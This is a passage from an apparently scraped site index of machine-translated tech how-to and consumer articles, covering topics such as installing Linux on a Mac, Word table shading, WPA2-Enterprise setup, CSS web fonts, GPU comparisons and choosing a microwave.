drive.\n  5. Then select Install from the GRUB menu. You can choose Try Without Installing.\n6. Follow the on-screen installation instructions. Select Normal Installation.\n7. On the Installation Type window, select Something else. This is an option that allows you to choose the partition you created earlier to install your new Linux operating system on. If you choose other options, you run the risk of installing Linux over your current operating system, which will also delete all your files and folders.\n  8. Select the partition you created. This is a partition the same size as the one you created earlier.\n9. Then click Change below the list of devices.\n  10. In the Use as drop-down list, select the ext4 log file system.\n11. In the Mount Point drop-down menu, select the forward slash and click OK.\n12. Select Continue.\n13. Select Install Now.\n14. Select Continue when the warning pops up.\n15. Enter the time zone, select the keyboard layout and press Continue.\n16. Set up a Linux account. Enter your name, computer name, username, and password.\n17. Click Continue.\n18. Wait for the installation to complete.\n19. Restart the Mac and simultaneously hold down the Option key.\n20. Select the Linux operating system to start using.\nAfter installing the operating system and exploring it, make sure that your applications are working properly.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmo6Kmpa16sLzEq5itoZ6cerTF0q2cpmWfo3qurcI%3D\n","link":"/post/how-to-install-linux-operating-system-on-mac/","section":"post","tags":null,"title":"How to install Linux operating system on Mac"},{"body":"How to read how to Import Bookmarks from another browser into Windows Edge on Windows 10.\nMicrosoft Edge is the new default browser in Windows 10 operating system. It is being gradually improved by Microsoft and will be officially released with Windows 10 on July 29. In the newly-built 10159 version, Microsoft has added Microsoft Edge with many features and changes such as a black theme suitable for the Windows 10 taskbar taskbar, along with a new menu for sharing content. This browser supports filling in forms and password fields, just like other modern browsers, including predecessors.\n  Users can also customize Edge's New Tab page to display only their most visited sites, or their most visited sites, along with suggestions that may interest them.\nBesides, a new remarkable feature of Microsoft Edge is the ability to Import Bookmarks from other browsers such as Google Chrome , Mozilla Firefox or Internet Explorer easily. So how to use this feature? Please refer to the following instructions:\nMethod 1: Import Bookmarks from another web browser into Microsoft Edge First, start Microsoft Edge, then click on the 3 dot icon '.' and click Settings. The Settings page appears, click on the command line Import favorites from another browser.\n   Next, check the browser you want to Import Bookmarks into Microsoft Edge, then click Import to do it.\n  Method 2: Import Bookmarks from HTML file into Microsoft Edge If you export Bookmarks to HTML files, you must use a different browser that supports Import Bookmarks from HTML files such as Firefox, and then Import again into Microsoft Edge because Edge itself does not support HTML files. Proceed as follows:\nStart Firefox up and press the Alt key on the keyboard to display the menu bar. Then go to Bookmarks\u0026gt; Show All Bookmarks.\n  Firefox's Bookmarks management dialog box appears, click Import and Backup\u0026gt; Import bookmarks from HTML , then navigate to the HTML Bookmarks file on your device and click Open.\n  \nAfter successfully importing, go back to Microsoft Edge browser, go to Settings and click Import favorites from another browser and tick Firefox browser to Import Bookmarks from Firefox via Edge.\n  \nPretty simple, isn't it?\nncG1vNJzZmismaXArq3KnmWcp51ktq68zqurZpqfpLiurdGkqmaeoqS6bq3NqKuhnaJir7O71qycq2WZo8Gwecyimquno6SztXnEnZ6e\n","link":"/post/import-bookmarks-from-another-browser-into-microsoft-edge/","section":"post","tags":null,"title":"Import Bookmarks from another browser into Microsoft Edge"},{"body":"Suppose when you create a table on Word that your table has a lot of rows and columns, it is difficult for you to distinguish data in rows and columns on the table. Adding background colors to each cell in the table is probably the most effective solution for you to easily read the data in the table without getting confused. In the following article, Network Administrator will guide you how to add color to the table cell in Word.\nInstructions for transferring PDF files to Word are free of Vietnamese errors Create a quick dot (……………) line in Microsoft Word Enter the serial number and the automatic initial character MS Word How to color cells in Word tables   To add color to the table cell, first highlight the cells you want to add color to.\n  Now you will see the Table Tool tab, click on the Design option under the Table Tool tab.\n  In Table Styles , click Shading.\n  \nSelect any color you want to add to the Theme Colors panel or you can select it in the Standard Colors box .\nIf you can't find the color you want to add, click on More Colors .\n  In the Color dialog box, click on the Standard tab to select any color you like to add to the table.\n  Or if you want to create the color you like, you can click on the Custom tab.\n  Video tutorial to color the Word table cellncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJqclGKvoq%2FKoKmorZ6ZeqS7y6ipZqyfYrKir8dmmp6knGK2r3nToZxmrJGXuaZ5zqdksKeimQ%3D%3D\n","link":"/post/instructions-to-add-background-color-to-each-cell-in-the-table-on-word/","section":"post","tags":null,"title":"Instructions to add background color to each cell in the table on Word"},{"body":"Zombie Army Trilogy is a unique and attractive third-person tactical shooter game developed in horror zombie shooting style. The game is set in fiction at the end of World War II, when the German army is defeated. Not accepting defeat, Adolf Hitler created a zombie army from warriors who were killed against Allied forces to overturn the situation.\nIn the game, players will transform into one of the military characters of the countries to participate in this bloody and intense battle.\n  Currently, this Zombie Army Trilogy game is being given away for free on the short GameSessions. Be quick to register to own this exciting game before it expires.\nThe third-person tactical shooter game Zombie Army Trilogy is getting free GameSessions for nearly a month if you activate the game before November 14, 2018.\n  Instructions on how to get free Zombie Army Trilogy game:\nStep 1: Register for a GameSessions account (if you have missed this step).\nhttps://www.gamesessions.com/en\nStep 2: Log in to GameSessions.\nStep 3: Visit the Zombie Army Trilogy page on GameSessions under the link below and click the Download Free Game button.\nhttps://www.gamesessions.com/en/Game/ZombieArmyTrilogy\n  Step 4: The installation file will be downloaded automatically. If you wait a few minutes without seeing the download file, you can drag the screen down and click the Download Free Game button.\n  Step 5: Proceed to install the game.\nStep 6: Open the game and log in with the GameSessions account. Wait about 5 minutes, a notification Activation Complete will appear. Once there, you have successfully registered and own the game permanently on the GameSessions.\n  Step 7: Click Back to game to go back to playing Zombie Army Trilogy or click Buy Options to buy the Steam key for $ 11.\nNote:\nTime to receive free Zombie Army Trilogy game on GameSessions lasts only 17 hours on November 14, 2018. The game must be activated before this time.\nTo check if the game has been activated, users can log in to the My Account section of the GameSessions website, if the game is activated it will see the Zombie Army Trilogy in My Games (Activated).\nSee more:\nDownload Evolvation - the ultimate universe war game that is free on Steam Quake Champions, a one-time FPS shooter, has played for free forever 14 best free shooter titles on mobile devices (part 1) ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyYmnq7u8yboJ5lkae6unnTq6Clp5eueqJ5xqucmqxdqa6kwMicmKVlo528sMDEq2SgmZ2aeqe70Wadq52V\n","link":"/post/invite-the-zombie-army-trilogy-a-great-tactical-shooter-game-for-free/","section":"post","tags":null,"title":"Invite the Zombie Army Trilogy, a great tactical shooter game for free"},{"body":"Like all other Samsung products, or rather the 'trend' of the technology world in the last few years, details of the smartwatch are highly anticipated for the Galaxy Watch Active 2 which has almost leaked. across major technology forums just a few days before official launches.\nIf you are interested in the market of smart wearables in general and the Galaxy Watch Active 2, you can refer to the full specifications of the products we have synthesized below.\n  Samsung Galaxy Watch Active 2\nQualcomm fosters new CPU models for smart, faster, more compact, and better compatibility Before coming to the specs table, there is another very interesting information, that is SamMobile has confirmed Touch Bezel feature will definitely appear on Galaxy Watch Active 2. Basically, Samsung wants to replace the frame Mechanical rotation 'nothing special' on Samsung Galaxy Watch with a more modern capacitive version. Along with the presence of Bluetooth 5.0, it means that the connectivity range will be significantly improved (Samsung said the Galaxy Watch Active 2 can keep the connection stable in a range of up to 240m with an electric The phone is also equipped with Bluetooth 5.0. In addition, it is necessary to mention the presence of ECG (ECG) and some other small utilities.\n  Galaxy Watch Active 2 is supplemented with many improvements compared to its predecessor\nIBM registered a patent for sliding screen technology, turning smartwatch into a smartphone with just a few simple steps For now, go to the specific specs of Galaxy Watch Active 2 (2 size versions):\nFace size 40mm 44mm One UI OS 1.5 with Touch Bezel One UI 1.5 with Touch Bezel Weight 31g 36g Display screen size 1.2 inch 360 × 360 Super AMOLED with Gorilla Glass DX + 1.4 inch 360 × 360 Super AMOLED with Gorilla Glass DX + Material Aluminum monolithic. The back side uses MIL-STD-810G or stainless steel Aluminum monolithic glass. MIL-STD-810G or stainless steel rear panel Exynos 9110 Exynos 9110 RAM processor 768MB 768MB or 1.5GB (LTE version) 4GB 4GB storage capacity 247mah battery capacity 340mah Sensor Heart rate sensor , eight-point photocatalyst sensor (BP), Self-detection, ECG (pending activation) Heart rate sensor, eight-point photocatalyst sensor (BP), Fall detection, ECG (pending activation) Link Bluetooth 5.0 connectivity , WIFI Bluetooth 5.0, WIFI, LTE (several models) Colors Black, Silver\nRose gold (monolithic aluminum version)\nGold (stainless steel version)\nBlack, Silver\nRose gold (monolithic aluminum version)\nGold (stainless steel version)\nStainless steel (LTE version only)\nMeeting day August 7, 2019\nAugust 7, 2019\nHow must Samsung's smartphones and smartwatch go through a rigorous quality control process?   Galaxy Watch Active 2 is a highly anticipated product on the occasion of shopping later this year\nBesides some cheap and mid-range smartwatch models from Chinese manufacturers, Galaxy Watch Active 2 is one of the highly anticipated products that will create a new breeze for the global smart wear device market. in the shopping season later this year.\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWXlrmixNhmrpqsk516oq%2FToq2eZWJiwLGxwqKdopuRqbawutJmqZ6klZbApnnDmque\n","link":"/post/samsung-galaxy-watch-active-2-specifications-release-date/","section":"post","tags":null,"title":"Samsung Galaxy Watch Active 2: Specifications, release date"},{"body":"Nvidia's new 30xx series GPUs represent the first major performance leap in graphics technology, at least in the past half-decade.\nAccording to Nvidia's own statements, the top RTX 3080 nearly doubled the performance of the previous RTX 2080. Meanwhile, the RTX 3070 is arguably better than the currently dominating 2080 Ti for a much more pleasant price tag.\nHowever, most PC owners don't upgrade their hardware too often so these comparisons are a bit difficult to envision. But if you are in need of a new GPU, you may be wondering if you should choose an Nvidia RTX 3080 or RTX 3070. The following article will give you the satisfactory answer.\nTechnical specifications   Although the spec sheet never gives us the full picture, in this case we can use it to make some preliminary observations.\nFirst, the RTX 30xx series of GPUs are built on a new 7nm manufacturing process, allowing Nvidia to bring more transistors into the GPU. As a result, the RTX 3080 has twice as many processing cores as its predecessor.\nOne significant drawback of the RTX 3080, however, is the significantly increased power consumption. This is especially important when comparing it to the RTX 2080, which has 30% lower Thermal Design Power (TDP). If you are upgrading an older system, this increased power consumption means your current power supply may not be good enough for the RTX 3080.\n  The performance of RTX 3080 and RTX 3070 By far the best way to demonstrate the viability of a GPU was to see how well it performed while gaming. The following benchmarks come from Tom's Hardware comparison of two cards at 1080p and 1440p resolutions. These numbers should please anyone looking for a new GPU.\n  The RTX 3080 is 8 to 21% faster on average than the RTX 3070. However, when looking at individual games, this gap could be further increased. At 2560 x 1440 resolution in The Division 2, the RTX 3080 returns an average of 111 FPS - a 35 percent jump from the 82 FPS the 3070 can pass.\nIf you're willing to sacrifice some graphics fidelity, the RTX 3070 might not be a bad choice either.\nHowever, there are more nuances to making a choice between the 3080 and 3070 - mainly revolving around the rest of the system hardware.\nShould I buy the RTX 3080 or the RTX 3070? If you're one of the 67% who still use a 1080p monitor, there's only one word to describe the RTX 3080: Overkill. As you can see in the chart above, the performance difference between the RTX 3070 and the RTX 3080 is tiny.\nThis is because, at a resolution as low as 1080p, this GPU is simply too powerful for other components in your build, such as the CPU. Even if AMD's Ryzen line of processors delivered impressive gains year over year, they still weren't fast enough to keep up with the RTX 3080 at 1080p.\nIf you choose to run the RTX 3080 at a lower resolution, then it will most likely be used only to a fraction of its full potential. While the remaining performance margin will be useful for future games, it probably isn't worth the extra money, especially given the existence of the RTX 3070.\nHowever, that statement quickly changes when you get to have a higher resolution monitor and play virtual reality games. Over the past few years, 1440p and 4K resolution displays have become increasingly affordable and accessible for casual gamers. Many of the options are even capable of high-speed refresh, up to 165Hz.\nIf you have a 144Hz 1440p monitor or are looking to buy one for future use, the RTX 3080 is probably the best choice for you. Although priced significantly higher than the RTX 3070, it will offer an incredible performance upgrade and will outlast its brother.\nThe same applies to demanding applications like virtual reality gaming and video editing. In the case of virtual reality gaming, Valve and Oculus's latest virtual reality glasses have a much higher internal screen resolution than most monitors.\nThis means your GPU is sure to see huge usage metrics when playing new VR games like Half-Life: Alyx and Star Wars: Squadrons.\nNvidia RTX 3070 ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZpuYpLy0sYytn55lnqu2pbXAZqmtsF1ofXh8jKipZqqkrXp0fJdpZKCopQ%3D%3D\n","link":"/post/should-choose-the-nvidia-rtx-3070-or-rtx-3080-gpu/","section":"post","tags":null,"title":"Should choose the Nvidia RTX 3070 or RTX 3080 GPU?"},{"body":"Network administration - Every Wi-Fi network in an enterprise needs to use the Enterprise mode of WPA or WPA2 encryption. In this article, we will show you how to switch from Personal (PSK) mode to Enterprise (RADIUS) mode.\n  Certainly many of you know, encryption of Wired Equivalent Privacy (WEP) is a code that is no longer safe today. The security standard for the first wireless LAN, developed by IEEE, has emerged as a vulnerability that allows attackers to crack.\nIn 2003, the Wi-Fi Association released another security standard called Wi-Fi Protected Access. Although the first version (WPA), which uses TKIP / RC4 encryption, gave the attackers some disappointment, it was still not considered safe.\nIn the second version (WPA2), released in mid-2004, security has improved quite well with the implementation of IEEE 802.11i security standards and CCMP / AES encryption.\nIn this article, I will show you two very different modes of accessing a protected Wi-Fi network (Wi-Fi Protected Access) and show you how to switch from Personal mode to Enterprise mode.\nLet's start!\nTwo modes of WPA / WPA2: Personal (PSK) and Enterprise\nBoth versions of Wi-Fi Protected Access (WPA / WPA2) can be executed in two modes:\nPersonal mode or Pre-Shared Key (PSK) : This mode is suitable for most home networks - not suitable for corporate networks. You can define encryption passwords on wireless routers and other access points (APs). The password must then be entered by the user when connecting to a Wi-Fi network. Although this mode seems very easy to enforce, it cannot guarantee enterprise network security. Unlike the Enterprise mode, wireless access is not separate or centrally managed. A password is applied to all users. If the global password needs to be changed, it must be changed on all APs and computers. This will cause a lot of difficulties when you need to change; for example, when an employee leaves the company or, when a computer is stolen or compromised.\nUnlike the Enterprise mode, encrypted passwords are stored on computers. However, anyone on the computer - whether it's an employee or a criminal - can connect to the network and can recover the encrypted password.\n Enterprise mode (EAP / RADIUS): This mode provides the necessary security for wireless networks in enterprise environments. Although complicated in settings, this security mode provides centralized and discriminatory control of Wi-Fi network access. Users are assigned login information that they need to enter when connecting to the network, which can be changed or revoked by administrators at any time. Users do not need to care about actual encryption keys. They are created safely and assigned on each user session in the background after a user enters their login credentials. This will prevent someone from recovering the network key from computers.\n Introducing 802.1X authentication and RADIUS servers\nThe authentication method is used to verify user (and server) information on WPA / WPA2-Enterprise networks defined by the IEEE 802.1X standard. This method of authentication requires an external server, still called Remote Authentication Server In User Service (RADIUS) or Authentication, Authorization, and Accounting (AAA), used for a variety of network protocols and environment containing ISP.\nA RADIUS server needs to understand the Extensible Authentication Protocol (EAP) language and can communicate with wireless APs, referring to RADIUS clients or authentication suites. The RADIUS server will essentially serve as an intermediary between APs and user data. Since then APs can communicate directly with the 802.1X client, also referred to as an 802.1X Supplicant, on a user's computer or device.\nVerify 802.1X not based on port. This means that when someone tries to connect to a protected enterprise network, communication will be allowed through a virtual port to transmit the login information. If the authentication process is successful, the encryption keys will be sent securely and users will now be given full access.\nSee page 2\nAuthentication server (Authentication)\nThere are several ways you can get an 802.1X authentication server:\nFreeRADIUS: This is one of the most popular AAA servers in the world. Although it is a free, open source project, this server has a lot of advanced points. It is available for different platforms, including Linux, Mac OS X, and Windows. By default, you change these settings in the configuration file.  Windows Server: If you have a Windows Server set up, you can use an Internet Authentication Service (IAS) available in Windows Server 2003 or Network Policy Server (NPS) in Windows Server 2008.  Outsourced Services: Hosting services, such as AuthenticateMyWiFi, are one of the good ways for those who do not want to invest much money or time in setting up a RADIUS server, with multiple offices, or without Deep technical expertise. These services can provide additional functionality for traditional RADIUS servers. For example, APs are not directly connected to the Internet; they can be placed behind NAT routers or gateways, allowing you to assign a unique secret to each AP. These services also have control panels on the web, so users can easily configure authentication settings.\n Other advantages of EAP\nThe mind behind 802.1X authentication is the Extensible Authentication Protocol (EAP). There are many other advantages of EAP. Which features in each organization should be used is entirely dependent on the level of security desired, as well as some degree of complexity and server / client specifications.\nThese are the most common types:\nPEAP (Protected EAP): This is one of the most popular and easy to implement EAP methods. It can authenticate users through the username and password they enter when connecting to the network. The authentication server can also be validated during PEAP authentication when an SSl certificate is installed on the server. This type is supported by default in Windows.\n TLS (Transport Layer Security) : Is one of the most secure types of security, but quite complex in implementation and maintenance. The server and client validation process needs to be done via SSL certificates. Instead of having to provide a username and password when connecting, user devices or computers must be loaded SSL certificate files into its 802.1X client. Administrators can control the Certificate Authority (CA) and manage client certificates, which allows them to have more control, but also require more administrative time.\n TTLS (Tunneled TLS): An improved version of TLS, which does not require client-side security certificates, has reduced the complexity of network management. However, this EAP type does not have native support in Windows; it needs a third client like SecureW2. Your next steps\nFrom what I have shown you above, you probably know the 802.1X authentication mechanism that makes WPA / WPA2-Enterprise encryption a way to secure corporate Wi-Fi networks. . Also, you know that to implement them, we need to have an authentication server and PEAP, TLS, and TTLS are common EAP types.\nHere are some tips that can help you with the next steps:\nFind and select a RADIUS server or outsource service. Set up a RADIUS server with EAP, AP and user settings. Configure APs with encryption information and RADIUS server. Windows configuration (or other operating system) with encryption settings and 802.1X. Finally, connect to your protected Enterprise network! ncG1vNJzZmismaXArq3KnmWcp51kwLi105yfZqyfYsSxrYywp5pqlaPBpr7Pq6CsnV2au6S%2B2Kmroqee\n","link":"/post/switch-to-wpa-wpa2-enterprise-encryption/","section":"post","tags":null,"title":"Switch to WPA / WPA2-Enterprise encryption"},{"body":" Web font is the font that is put on the website by website designers, without installing on the user's computer.\nTo do this, you use a rule called @ font-face , which creates a identifier font and points to a font file stored on the Internet.\nWhen users browse the web, they will automatically download the font and see the unique and strange font effects and may be \"unique\" only your website.\nIn this article, TipsMake.com will work with you to learn how to use @ fonf-face, invite you to follow it.\nCommon font formats 1. TrueType Font (TTF) TrueType is a standard font, developed by Apple and Microsoft in the late 1980s. TrueType is the most popular font format for both MacOS and Microsoft Windows operating systems.\n2. OpenType Font (OTF) OpenType is a cross-platform computer font format and contains extended character sets, developed based on TrueType and trademarked by Microsoft. OpenType font is commonly used today on mainframe platforms.\n3. The Web Open Font Format (WOFF) WOFF is the format used to develop Webpage, developed by Mozilla and some other organizations in 2009. WOFF is essentially an OpenType or TrueType added with some descriptive data and part of its own format. yourself, making the transmission of the network lighter. W3C encourages the use of this format.\n4. The Web Open Font Format (WOFF 2.0) WOFF2 is an upgraded version of WOFF developed by Google with an average compression capability 30% higher than WOFF 1.0.\n5. SVG Font / Shape SVG Font is a font consisting of SVG characters (image - color or colorless), different from the normal font in that the letters are all images, so it has enough visual effects , such as dust effect, color, watercolor . SVG Font is never compressed and is usually quite large in size.\n6. Embedded OpenType Fonts (EOT) EOT , developed by Microsoft, is a compact OpenType format, designed to be used as embedded fonts on websites.\nHow to use @ font-face To use @ font-face , we gather many CSS properties in combination with the font format to create the desired font types.\nAttribute Value Description font-family name Specify a name for the font. src URL (Required) The path to where the font is located. font-stretch normal condensed ultra-condensed extra-condensed semi-condensed expanded semi-expanded extra-expanded ultra-expanded Specifies whether text is wider or narrower. The default value is \"normal\". font-style normal italic oblique (Optional) Define font-style. The default value is \"normal\". font-weight normal bold 100 200 300 400 500 600 700 800 900 (Optional) Determine the font-weight. The default value is \"normal\". unicode-range unicode-range Specifies the range of UNICODE characters that the font supports. The default value is \"U + 0-10FFFF\". For example Example 1: Use the font you want\n@font-face {  font-family: FontQuanTriMang;  src: url(sansation_light.woff); } div {  font-family: FontQuanTriMang; }  Results show:\n  Full code:\n\n\n\n\n\n \n By: TipsMake.com\n \n\u0026nbsp; My love - Westlife \nAn empty street  An empty house  A hole inside my heart  I'm all alone  The rooms are getting smaller  I wonder how  I wonder why  I wonder where they are  The days we had  The songs we sang together  Oh yeah  And all my love  I'm holding on forever  Reaching for the love that seems so far  So I say a little prayer  And hope my dreams will take me there  Where the skies are blue  To see you once again, my love  Over seas from coast to coast  To find the place I love the most  Where the fields are green  To see you once again, my love   \"sansation_bold.woff\" is another font file, containing bold characters for Sansation fonts in example 1.\nThe browser will use this format whenever the text with the font \"FontQuanTriMang\" is bold.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjLCcm2WWpLu1ecinZJyrow%3D%3D\n","link":"/post/use-web-font-in-css/","section":"post","tags":null,"title":"Use Web Font in CSS"},{"body":"For many people it's not uncommon to not wash for a few days, especially in the cold winter, but what if we stop taking a bath for the rest of our lives, what will happen to the body, whether we have dead because too dirty?\nIf someone is so lazy that he intends to implement this plan but is concerned about health, it can be assured. According to scientists, stopping the bathing and washing is not only not harmful but even helps people be healthier than normal people. It sounds hard to believe, but it's true, let's find out why.\nWhy do we bathe every day?   Bathing is an action for people to clean the whole body: eliminating bacteria and dead skin. After the shower, the body pores will open and the skin and muscles will be relaxed, making us feel comfortable and comfortable after a stressful working day.\nWhen people stop bathing, what happens to the body? First week   For some people just one day without bathing, they felt uncomfortable, itchy. For normal people, after 2 or 3 days, this feeling starts to appear. The reason is that bacteria on the skin have increased too much when bathing everyday, making us uncomfortable. In addition, our sweat glands constantly secrete oily fluids to cool the body, which also makes the sensation increase.\nBesides, your sense of smell is also \"tortured\" by bacteria and sweat together \"partying\" creates an odor that is not easy to send.\nAfter a month   If you experience this first week, your body will adapt and gradually lose the itching feeling. At this point, the dead skin layer has thickened, causing the skin's sensitivity to disappear. In addition, your scratching in the early days stops showering and flaking and flaking skin, in those areas, the new skin will thicken over the old skin that peels off. The thicker the skin, the more sensitive the skin will be and the less it will be itch.\nAt the same time, you no longer feel uncomfortable by the smell of the body anymore because the smell has adapted to that smell.\nAfter 6 months The amount of bacteria on our skin as well as in our bodies also increases. And the body's immune system also learns to adapt slowly to them, even healthier than a normal person.\nOn the outside, the dead skin layer accumulates for a long time, forming a thicker layer than the heel of ordinary people, which helps the body fight the number of bacteria growing rapidly.\nBy now, you have successfully \"evolved\" from ordinary people into \"lepers\".\nDon't bathe or die?  Amou Hadji, a person who has stopped bathing for more than 60 years and still lives healthy.\nMr. Amou Hadji, a homeless person living in Iran has not bathed since 1954 and he is still healthy despite his 80s.\nSo, in fact, it has been shown that there are people who do not bathe their whole lives and remain healthy and even live long.\nBut from a medical point of view, the bacteria that bind on the body are capable of causing deadly diseases like dysentery, cholera . When the immune system is no longer able to fight them to protect the body anymore. disease can lead to death.\nSo, not for water bills, saving shampoo, shower gel or any other psychological reason you stop taking a bath. At that time, you will face alienation and discrimination of people around you.\nDo you have the correct personal hygiene to ensure health? 9 differentiate between bathing with hot water and cold water to health ncG1vNJzZmismaXArq3KnmWcp51kxKmt02auoqScYrWivM%2BepWahlmLEpnnSraapZZKWwam1zaBkn6eimsOmvg%3D%3D\n","link":"/post/what-will-happen-if-we-stop-bathing-forever/","section":"post","tags":null,"title":"What will happen if we stop bathing forever?"},{"body":"This change is available on Google Chrome Canary build (v62.x) in the form of a pop-up window displayed in the right corner of the screen, near Chrome's drop down menu.\nAlerts help fight poisoning extensions The first warning is for users' proxy setup utilities, from which hijack the Internet connection on the computer.\nMalicious utilities use hijack proxies to redirect infected traffic through their servers, where they add or replace legitimate ads with their own ads.\n  Chrome warning when the proxy settings changed\nThe second pop-up is for utilities that change the user's Home tab. Often these utilities hijack New Tab of the browser to insert their own website or redirect the user to another search engine.\n  Warning when changing Chrome's New Tab page\nWarning messages appear in the form of pop-ups that Google added to allow users to quickly reverse the action of the malicious utility. This is important because not all users know how to reverse proxy settings, default tabs on Chrome or even uninstall utilities.\nChrome Web Store in the fight against poisoning utility These pop-ups are part of Google's plan to fight Chrome's malicious utilities when they start to appear rampant. Here's an email that Google sends to gadget developers on Chrome in July.\n  Email Google notifies developers about changing settings via the Settings Overrides API\nThis email announced that since August 1, the startup, Homepage, search settings or other settings have to be done via the Settings Overrides API. Google added the Settings Overrides API on Chrome to Windows in 2014 and posted it on the Mac earlier this year.\nncG1vNJzZmismaXArq3KnmWcp51ksKm%2BzqacZpmUmcBurYywmKummaO0bsPHnqVmmZ5isrnAxKeqoqeeYsGit8SsZKiulad6tbTEZqCnrJWnu6bAjJymp6aVmMGqu80%3D\n","link":"/post/chrome-adds-a-warning-when-an-extension-takes-over-the-internet-connection/","section":"post","tags":null,"title":"Chrome adds a warning when an extension takes over the Internet connection"},{"body":"Youtube on smartphones has long had a video rewind function by double-clicking on the two sides of the video to fast forward to the desired segment. Or most convenient, you can rewind YouTube videos by pressing and holding the circle button on the video timeline.\nWhether the video is long or short, double-taping is convenient and faster when rewinding the YouTube video timeline below, especially when your smartphone has a small screen. Currently Youtube default video rewinding time is 10 seconds, you can change the Youtube video rewinding time using the instructions below.\nInstructions for inserting Youtube videos into PowerPoint How to edit videos on YouTube? How to have friends upload videos to your YouTube How to increase and decrease the time to fast forward videos on Youtube First I will do it on my Android phone, please click on your YouTube avatar icon in the upper right corner as shown below. Then select Install .\n   In the settings menu, select General , and then click in Double-click to rewind .\n   In this section you can select timelines for each video rewind by double clicking on Youtube. If your habit of watching videos with a short duration, then choose 5 or leave the default of 10 seconds to rewind. If you watch YouTube movies, you should be around 30, 60 seconds.\n  As for YouTube on iPhone, you can also increase or decrease the video rewinding time with the Double-click to rewind option and choose the time according to the available landmarks.\n   Now go back to the main interface, select a video and check it out.\n  That way, you can optionally increase the YouTube video rewinding time by double-clicking on the time-loop option in the general settings. While you want to change the video rewinding time, you have to go to settings and adjust the time to fast forward, but it will be more convenient when your smartphone has a small screen and you are watching a movie with a long duration.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lpp6xpruMq5ywoZ6ZerS8xJ6bZpqpYrGwwcGlnJykmZi4qrrGZqanZamkwrXBwZ4%3D\n","link":"/post/how-to-change-the-video-rewind-speed-by-double-clicking-on-youtube/","section":"post","tags":null,"title":"How to change the video rewind speed by double-clicking on YouTube"},{"body":"Maybe you are thinking about buying a new game, installing a new software or an accessory and want to check if your device is compatible. In general, there are many reasons to check the machine configuration. In the article below, make tech guide you how to check the Mac configuration in detail.\nWhatever your purpose, here's the quickest and easiest way to check the configuration of your Mac:\nClick the Apple logo in the top left corner of the Mac screen. Select About This Mac . The results window will display the information you need including processor speed, graphics card, . You can know more details by clicking on the above tabs, for example, Storage to know how much space is available, Memory to see how much RAM has taken up, .   How to know what processor your Mac is running on Although the About This Mac section shows details about the processor like the 3.2 GHz Intel Core i5, it still does not have you know what generation this chip belongs to, the Broadwell, Haswell or Kaby Lake.\nTo see the generation of processors inside your Mac, you need to follow these steps from the About This Mac section above:\nWhich processor is your Mac running: Core i5, Core i7 or Xeon i7, . When was the Mac produced? After you get this information, go to Every Mac for the most complete information on the processors of all Macs.\nLook for the processor you just have above (Core i5 example). Click on that link. On the next page, scroll down until you find the processor that comes with your exact name (eg 27-inch iMac Core i5 3.2, Late 2013). Click that link to see what generation of processors Apple used for Macs at that time. Check the machine RAM memory As mentioned above, you can check your Mac's RAM through the following steps:\nClick the Apple logo\u0026gt; About This Mac. Go to the Memory tab for detailed information about RAM. In that window, click the link to go to the Apple website if you intend to upgrade the RAM on your Mac.   Check the battery status on the device Battery is also an important device configuration information. To get the battery status of your Mac, follow these steps:\nApple Logo\u0026gt; About This Mac\u0026gt; System Report. Click the Hardware tab in the System Report window to enter Power . Go to the Power option to view detailed information about the battery.   Cycle Count is an interesting number for assessing the battery status on the device. The smaller the number, the more likely it is that the Mac battery is still working well. If possible, when using you should just plug in the charger, but normally should charge from about 40% to 80%.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGabn6OzqrPUq5itoZ%2BjerCyjK2fnmWdlrCju86k\n","link":"/post/how-to-check-the-configuration-of-the-macbook/","section":"post","tags":null,"title":"How to check the configuration of the MacBook"},{"body":"The microwave oven has a lot of different power levels, designs and features so it is difficult to choose the right microwave oven. The following article will show the basic criteria to help you choose the microwave that best suits your needs.\nSteps to select the appropriate microwave according to your needs 1. Select the microwave according to the capacity Mechanical microwave ovens or electronic microwave ovens usually have capacities from 17 to 34 liters. Depending on the number of people in the family you choose the appropriate capacity.\nFor example:\nIf your family has 2-3 people, you can choose a microwave with a capacity of 17 liters - 23 liters. Families with 4 - 6 members can choose between 23 - 25 liters of capacity. If used for corporate office, spacious kitchen should choose a capacity of 25 liters or more. 2. Select capacity Microwave capacity will depend on microwave capacity. The larger the furnace capacity, the higher the furnace capacity. So choose the right capacity to save power.\nOven capacity Number of people in the microwave Microwave capacity Grill capacity Less than 20 liters Less than 3 people 600W - 750W 800W - 900W 20L - 30L 3- 5 people 700W - 900W 900W - 1.200W 26L - 28L 5-6 people 800W - 1,000W 1,000W - 1.400W 30L - 32L 6 - 8 people 850W - 1.100W 1,000W - 2,000W Above 34L Over 8 people 900W - 1.200W 1.100W - 2.500W 3. Considering the features of the microwave oven Microwave ovens usually have three basic functions: cooking, heating and defrosting. If you need to bake food you can choose a microwave with grill.\n  Some microwave ovens are also designed with inverter features (convection baking, making air circulate evenly, fast food is more cooked, saving electricity). Depending on the intended use, you can choose a microwave with the most suitable feature.\n4. Consider choosing to buy a microwave with a cooking programming function Microwave ovens with a cooking program make it easy for users to set multiple cooking modes in one cooking to suit different food requirements. For example, you can choose to cook at 100% capacity in the first time and 50% capacity at the end of the process.\n  5. Select the microwave with automatic rotating disc Most microwave ovens are equipped with automatic turntables to make food evenly cooked and more delicious.\n  6. Choose microwave oven with non-stick coating for easy cleaning You should choose a microwave oven with electrostatic coating outside and the oven cavity is sticky to make it easier to clean. Rust resistance is also better. In addition, you should choose a microwave without a hand that is easier to clean than a microwave with a handle.\n  7. Choose a microwave that fits the installation space Before buying a microwave oven you need to determine the size and location of the oven installation so that the cooking operation is convenient and safe to use.\n  Hopefully this article will help you gain more experience to choose the most suitable microwave.\nIf you need more advice about microwave oven, please contact us via hotline number in Hanoi 024.35.68.69.69 - TP. HCM 